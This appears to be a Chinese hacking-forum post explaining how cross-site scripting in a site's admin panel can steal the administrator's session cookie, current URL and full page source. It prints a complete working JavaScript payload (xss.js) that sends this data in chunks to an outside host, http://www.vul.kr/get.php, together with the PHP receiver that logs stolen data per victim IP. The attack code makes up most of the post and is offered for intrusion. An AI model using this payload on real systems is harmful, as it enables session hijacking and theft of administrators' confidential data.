WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2511查看
  • 0回复

[经验分享] XSS之client-Attack

主题

好友

94

积分

注册会员

发表于 2009-6-29 23:52:08 |显示全部楼层
原始出处:http://www.vul.kr/?p=158
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:TTFCT

1、在渗透测试中,找不到后台?
2、在没有其它任何人登陆的情况下,后台的机密信息无缘无故被窃取?
3、在后台密码极其复杂且无法破解的情况下,有非管理IP登陆的痕迹?

这篇文章阐述的XSS Client-Attack主要是涉及以上三个问题。以下进行具体说明:

1、当管理后台被XSS后,XSS可将管理员当前页面发送至接收端,用location.href实现
2、当管理后台被XSS后,虽然IE GET提交有限制,但XSS可将管理员当前页源代码分段多次提交到接收端,用ajax、document.documentElement.outerHTML实现(这里一会重点讲)
3、当管理后台被XSS后,XSS将管理登陆的SESSION COOKIE发送至接收端,在后台验证不严的情况下,攻击者直接利用COOKIE登陆后台,用document.cookie实现

这里重点讲讲2,本来,直接使用document.documentElement.outerHTML就可以获得当前页源代码,为何要用AJAX?问题的原因是直接使用document.documentElement.outerHTML会出现获取源代码不全的情况。

示例1:

admin-1.html

This is source code
<script>
alert(document.documentElement.outerHTML)
</script>
how about this?

我们发现,alert出的窗口中,并没有“how about this?”,这意味着,在插入XSS代码之下的源文件都不能获取,所以,需要用到AJAX来获取全部。
另外,还有一种情况,就是对方打开的页面是保存在本地的,如:C:\Users\Administrator\Desktop\data.htm,那就得用document.documentElement.outerHTML来实现抓取了。

下面请见XSS源代码
--------------------------------xss.js----------------------------------
function sd(doc){
         send = document.createElement('script');
         send.src=server+'get.php?'+doc;
         send.type='javascript';
         head.appendChild(send);
         }
function ajax(u) {
   var xmlHttp;
   try {
     xmlHttp = new XMLHttpRequest;
   } catch (e) {
      try {
         xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
      } catch (e) {
         try {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
         } catch (e) {
         }
      }
   }
    xmlHttp.open("GET",u,false);
    xmlHttp.send(null);
    return escape(xmlHttp.responseText);
}

var doc='';
var server='http://www.vul.kr/'; //IT信息,工具,技巧,exploit
var head=document.getElementsByTagName('head').item(0);

url=encodeURIComponent(location.href);
ck=encodeURIComponent(document.cookie);
sd("s=1&u="+url+"&c="+ck);

if(location.href.indexOf("file:")==-1) //判断是否为本地
  doc=ajax(location.href);
else
doc=escape(document.documentElement.outerHTML);

doclen=doc.length;
buflen=2040; //设置分段提交大小
for(i=0;i<doclen;i=i+buflen){
   dstr=doc.substr(i,buflen);  //开始提交
   sd("s=2&d="+dstr);
   }
sd("s=3");
-----------------------------end xxs.js----------------------------------

接收端代码:
--------------------------------get.php----------------------------------
<?
$url=0;$data=0;$cookie=0;$addr=0;
$url=$_GET['u'];

if(strlen($_GET['c'])>2)$cookie=$_GET['c'];
if(strlen($_GET['d'])>2)$data=$_GET['d'];
if(strlen($_SERVER['REMOTE_ADDR'])>2)$addr=$_SERVER['REMOTE_ADDR'];

$str="<center><textarea name='textarea' cols=150 rows=30>";
$str.="\r\n\r\nURL:".$url."\r\nCookie:".$cookie."\r\nAddress:".$addr."\r\nTime:".date("Y-m-d h:i:s", time())."\r\n\r\n\r\n";
if($_GET['s']==1)w($str);

if($_GET['s']==2)w(htmlentities($data));

if($_GET['s']==3)w("</textarea></center>");

function w($d){
$a=$_SERVER['REMOTE_ADDR'];
@fwrite(@fopen("dc/".$a.".htm","a+"),stripcslashes($d));}
?>

--------------------end get.php--------------------------------------------

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-30 13:18 , Processed in 0.064594 second(s), 16 queries .

返回顶部